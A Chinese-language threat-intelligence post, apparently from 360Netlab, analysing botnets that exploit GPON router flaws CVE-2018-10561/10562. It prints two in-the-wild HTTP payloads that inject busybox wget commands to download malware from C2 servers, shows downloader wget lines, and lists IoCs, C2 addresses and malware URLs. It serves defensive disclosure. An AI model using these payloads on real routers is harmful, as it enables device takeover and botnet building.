GPON 漏洞的在野利用（三）——Mettle、Hajime、Mirai、Omni、Imgay、TheMoon

本文由 Hui Wang、LIU Ya、RootKiter、yegenshen 共同撰写。


[更新 2018-05-21 17：30]


这场GPON的聚会看起来永远不会结束了，现在 TheMoon 僵尸网络家族也开始加入了。文中增加了相关的描述。特别值得说明的，TheMoon僵尸网络所使用的攻击漏洞此前并没有批露过，看起来像是个 0day，我们选择不公开攻击载荷的详细内容。另外我们选择了两个版本的 GPON 家用路由器，TheMoon使用的攻击载荷均能成功运行。



我们在之前的系列文章 一 和 二 里提及，在本次GPON漏洞（CVE-2018-10561，CVE-2018-10562）公布以来，10天内已经有至少5个僵尸网络家族在积极利用该漏洞构建其僵尸军团，包括 mettle、muhstik、mirai、hajime、satori，等等。这些各路僵尸网络一拥而上，争抢地盘，w为 IoT 僵尸网络研究者们提供了一个绝佳的近距离观察机会。


在我们的观察中，一个有趣的地方是各僵尸网络的漏洞利用代码均只能影响一小部分（估计大约 2%） GPON 家用路由器。如此一来，最终被控制的设备数量大大减少，广大 GPON 家用路由器用户暂且躲过一劫。但是管理员们仍需保持警惕，在现有条件下，各恶意代码团伙正保持积极的开发活动，其代码修正只需要很短的时间。


我们360网络安全研究院在保持观察的同时，也与安全社区一起，采取了行动抑制 muhstik 僵尸网络的扩散。但是 muhstik 恶意代码团伙并不愿意轻易放弃，他们一次次尝试卷土重来。后续发展，还请读者拭目以待。


在本篇文章里，我们会依次介绍其他的僵尸网络：


 * Mettle：一个恶意代码团伙，基于在越南的IP地址 （C2 210.245.26.180:4441，scanner 118.70.80.143）和mettle开源控制模块
 * Hajime：Hajime的本次更新也包含了 GPON 本次的漏洞利用
 * 两个Mirai变种：至少两个恶意代码团伙正在积极利用该漏洞传播mirai变种。其中第二个，已经被称为 omni。
 * Imgay：这看起来是一个正在开发中的僵尸网络，我们只观察到了下载行为，没有看到后续动作。
 * TheMoon: TheMoon 家族我们在之前的 文章 中提到过。该恶意代码家族至少在2014年就开始活跃，当时针对Linksys E1000 系列路由器，并在后续持续发展。从2017年开始，该恶意代码继续集成了至少 6 种6 种 IoT 设备漏洞利用手段。现在，2018-05-21，TheMoon家族加入了 GPON 设备的争夺大战。


Mettle


mettle，这个恶意代码团伙的C2，如我们之前提及，在这一波的攻击中，短暂出现后就下线了。这个恶意代码团伙的特征包括：


 * 扫描器IP : 118.70.80.143 Vietnam/VN Hanoi "AS18403 The Corporation for Financing & Promoting Technology"
 * C2服务器: 210.245.26.180:4441 Vietnam/VN Ho Chi Minh City "AS18403 The Corporation for Financing & Promoting Technology"
 * 下载服务器：利用了上述C2服务器的 80 端口
 * 恶意软件（下载器）样本hash: 8e2c6a92a024f8b8bb3c086b86fa50f9
 * 上述下载器会下载开源渗透测试工具mettle，一个metasploit的衍生版本，随后目标设备会被C2服务器远程控制


另外，当完成漏洞利用后，控制者还会修改 Gpon 路由器原有iptables 规则，封堵 TCP 80 和 443 端口流量。通常可以认为这是恶意代码在试图阻止其他恶意代码的进入。部分 iptables 规则如下示例：


-A ACL -p tcp -m tcp --dport 80 -j DROP
-A ACL -p tcp -m tcp --dport 23 -j DROP
-A ACL -p tcp -m tcp --dport 22 -j DROP
-A ACL -p tcp -m tcp --dport 21 -j DROP 
-A ACL -p tcp -m tcp --dport 443 -j DROP



我们并未直接观察到 mettle 的攻击载荷，但是我们注意到该IP地址在历史曾经与其他恶意代码相关。有兴趣的读者可以尝试继续展开搜索。


Hajime


Hajime 家族本次更新的特征包括：


 * 文件名：atk.mipseb.1525838286
 * 原始Hash: 8CCA32FB1FE4826007B087B4AEE20941
 * 脱壳前Hash: ED1306E24196533553571D5433312A2D
 * 脱壳后Hash: E06E1E7993EA310CE0FBA9DD76CDF377
 * 端口目标：23,80,8080
 * 新的 Payload(GPON)：hxxps://www.exploit-db.com/exploits/44576/


该样本中的GPON漏洞利用代码截图如下：




更新后的 atk.mpseb 模块可以同时对 TCP 23，80，8080 发起扫描：




Mirai 变种 1


该mirai变种的特征包括：


 * 扫描器IP : 46.243.189.60 Netherlands/NL "AS205406 Hostio Solutions B.V."
 * C2服务器: 46.243.189.102:127 Netherlands/NL "AS205406 Hostio Solutions B.V."
 * 下载服务器：共用了上述IP地址的 80 端口
 * 恶意软件样本hash: c6dc9f7cf09a267fefe53c5c481e7ea0


所使用的攻击载荷如下：


POST /GponForm/diag_Form?images/ HTTP/1.1
User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
Host: {target}
Accept: */*
Content-Length: 138
Content-Type: application/x-www-form-urlencoded

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://46.243.189.102/`;busybox+wget+hxxp://46.243.189.102/&ipv=0



这个mirai变种对应的 C2 服务器已经长期被我们监控。这个C2会发出DDoS攻击指令，并且比较活跃。我们首次监控到其发出DDoS攻击指令的时间是 2018-01-26 13:10:20。下图是其每日发出的攻击指令的条数变化曲线：





受害者方面，由于其攻击指令较多，我们仅列出部分流行的站点，包括：check-host.net，incapsula.com，moz.com，opskins.com，pastebin.com，roblox.com，seznam.cz，store.playstation.com，www.kinguin.net，等等。





Mirai 变种 2 - Omni


newskysecurity 的研究员已经将该变种命名为 omni，其描述与我们的观察比较一致。


在本轮攻击中，omni使用的攻击载荷是：


POST /GponForm/diag_Form?images/ HTTP/1.1
Host: {target}
Content-Length: 120
User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/4.4.127-mainline-rev1
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip, deflate

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://185.246.152.173/omni+-O+/tmp/talk`&ipv=0



该僵尸网络的特征包括：


 * 下载服务器 URL ：hxxp://185.246.152.173/omni
 * C2 服务器：185.246.152.173:1000
 * Scanner IP 地址：51.15.106.135


历史上该C2就传播过多个mirai变种，包括owari、xOwari、s-owari、sora、omni。并且该C2编译的mirai变种支持多种CPU架构，除了通常 mirai 变种都支持的 arm、mips、mpsl、mipsl、x86、spc之外，还支持了之前社区广泛关注的 arc CPU架构。


另外一个有趣的地方是该僵尸网络对外界传递的两条信息。一条信息保存在该服务器上（hxxp://185.246.152.173/meme）。当前该URL已经不可访问，其历史截图如下。图片主体由知名安全博客博主 brian krebs 的头像与电影《黑客帝国》剧照合并而成：




页面的文字内容如下。其中包含一个邮件地址 krebsonsecurity@gamil.com，注意这并非是 Brian Krebs 本人的邮箱地址。


Hey you, stop right there!
Want your router fixed? No problem! Send an email to krebsonsecurity@gamil.com and we will have it fixed asap!
~ scarface is your daddy ~



另一条信息保存在样本中，留下了一个twitter帐号 @1337Wicked :




md5hash: 5A8F7B3E3A981BBDD42AEE4DA6EEAAB8
message: Botnet officially ran by Ankit Anubhav and hosted on newskysecurity.com [If your reversing this follow @1337Wicked on twitter



Imgay


Imgay 是另外一个僵尸网络，其传播的恶意代码 URL 如下：


hxxp://149.28.96.126/imgay



该恶意代码会访问如下地址，但之后该恶意代码就结束了，没有看到后续活动。


wget hxxp://149.28.96.126/loaded/killy > /dev/null 2>&1
wget hxxp://149.28.96.126/pid_max/%s > /dev/null 2>&1
wget hxxp://149.28.96.126/pid_max/default > /dev/null 2>&1
wget hxxp://149.28.96.126/killed/%i > /dev/null 2>&1



The Moon 僵尸网络家族


关于该僵尸网络可以阅读我们之前的 文章 。由于我们之前提过，TheMoon使用的这个漏洞一定程度上可以算过 0day，各管理员需要特别注意该家族。出于避免漏洞扩散的原因，我们暂时不会公开这个攻击载荷的详细信息。


该恶意家族的特征包括：


 * Scanner IP: 177.141.64.108 Brazil/BR São Paulo "AS28573 CLARO S.A."
 * 扫描端口：80，8080，81，82，8888
 * 下载服务器:domstates.su ，我们使用该域名将本次攻击与 TheMoon 家族联系起来


攻击载荷


POST /--------/--------?---------/ HTTP/1.1
Accept: */*
Host: {}
User-Agent: Wget(linux)
Content-Length: 287
Content-Type: application/x-www-form-urlencoded
-------------------------------------------------------------
hxxp://domstates.su/gpon.sh 



联系我们


感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。


Ioc


Mettle


118.70.80.143 Vietnam/VN Hanoi "AS18403 The Corporation for Financing & Promoting Technology" scanner IP
210.245.26.180:4441 Vietnam/VN Ho Chi Minh City "AS18403 The Corporation for Financing & Promoting Technology" c2
8e2c6a92a024f8b8bb3c086b86fa50f9  malware hash



Hajime


atk.mipseb.1525838286   file name
8CCA32FB1FE4826007B087B4AEE20941  hash original
ED1306E24196533553571D5433312A2D  hash before unpack
E06E1E7993EA310CE0FBA9DD76CDF377  hash after unpack



Mira variant #1


46.243.189.60 Netherlands/NL "AS205406 Hostio Solutions B.V." scanner IP
46.243.189.102:127 Netherlands/NL "AS205406 Hostio Solutions B.V." C2 ip
c6dc9f7cf09a267fefe53c5c481e7ea0   malware hash



Omni


185.246.152.173:1000 Netherlands/NL "AS56630 Melbikomas UAB" C2 
51.15.106.135 France/FR	"AS12876 Online S.a.s."   scanner IP
hxxp://185.246.152.173/omni malware download URL



Omni 的历史恶意代码下载链接


hxxp://185.246.152.173:80/bins/spc.omni
hxxp://185.246.152.173:80/bins/sora.spc
hxxp://185.246.152.173:80/bins/sora.sh4
hxxp://185.246.152.173:80/bins/sora.arm6
hxxp://185.246.152.173:80/bins/sora.arm5
hxxp://185.246.152.173:80/bins/s-owari.spc
hxxp://185.246.152.173:80/bins/s-owari.mpsl
hxxp://185.246.152.173:80/bins/s-owari.m68k
hxxp://185.246.152.173:80/bins/s-owari.arm
hxxp://185.246.152.173:80/bins/s-owari.arm7
hxxp://185.246.152.173:80/bins/s-owari.arc
hxxp://185.246.152.173:80/bins/owari.x86
hxxp://185.246.152.173:80/bins/owari.spc
hxxp://185.246.152.173:80/bins/owari.mpsl
hxxp://185.246.152.173:80/bins/owari.mips
hxxp://185.246.152.173:80/bins/owari.i586
hxxp://185.246.152.173:80/bins/owari.arm
hxxp://185.246.152.173:80/bins/owari.arm7
hxxp://185.246.152.173:80/bins/owari.arm5
hxxp://185.246.152.173:80/bins/owari.arm4
hxxp://185.246.152.173:80/bins/mpsl.omni
hxxp://185.246.152.173:80/bins/mips.owari
hxxp://185.246.152.173:80/bins/mips.omni
hxxp://185.246.152.173:80/bins/arm7.omni
hxxp://185.246.152.173:80/bins/arm6.omni
hxxp://185.246.152.173:80/bins/arc.omni
hxxp://185.246.152.173:80/bins/Owari.x86
hxxp://185.246.152.173:80/bins/Owari.spc
hxxp://185.246.152.173:80/bins/Owari.sh4
hxxp://185.246.152.173:80/bins/Owari.mpsl
hxxp://185.246.152.173:80/bins/Owari.mips1
hxxp://185.246.152.173:80/bins/Owari.m68k
hxxp://185.246.152.173:80/bins/Owari.arm7
hxxp://185.246.152.173:80/bins/Owari.arm6
hxxp://185.246.152.173/xOwari.sh
hxxp://185.246.152.173/bins/x86.omni
hxxp://185.246.152.173/bins/scan.x86
hxxp://185.246.152.173/bins/s-owari.ppc
hxxp://185.246.152.173/bins/s-owari.mpsl
hxxp://185.246.152.173/bins/s-owari.arm
hxxp://185.246.152.173/bins/s-owari.arm7
hxxp://185.246.152.173/bins/owari.spc
hxxp://185.246.152.173/bins/owari.sh4
hxxp://185.246.152.173/bins/owari.mips
hxxp://185.246.152.173/bins/owari.m68k
hxxp://185.246.152.173/bins/owari.arm
hxxp://185.246.152.173/bins/owari.arm7
hxxp://185.246.152.173/bins/nocpu.x86
hxxp://185.246.152.173/bins/nocpu.mips
hxxp://185.246.152.173/41ai.sh



TheMoon


md5=17fb1bfae44a9008a4c9b4bdc6b327bd    url=hxxp://domstates.su/.nttpd,1-mips-be-t3-z
md5=299919e8a5b4c8592db0c47207935b69    url=hxxp://domstates.su/gpon.sh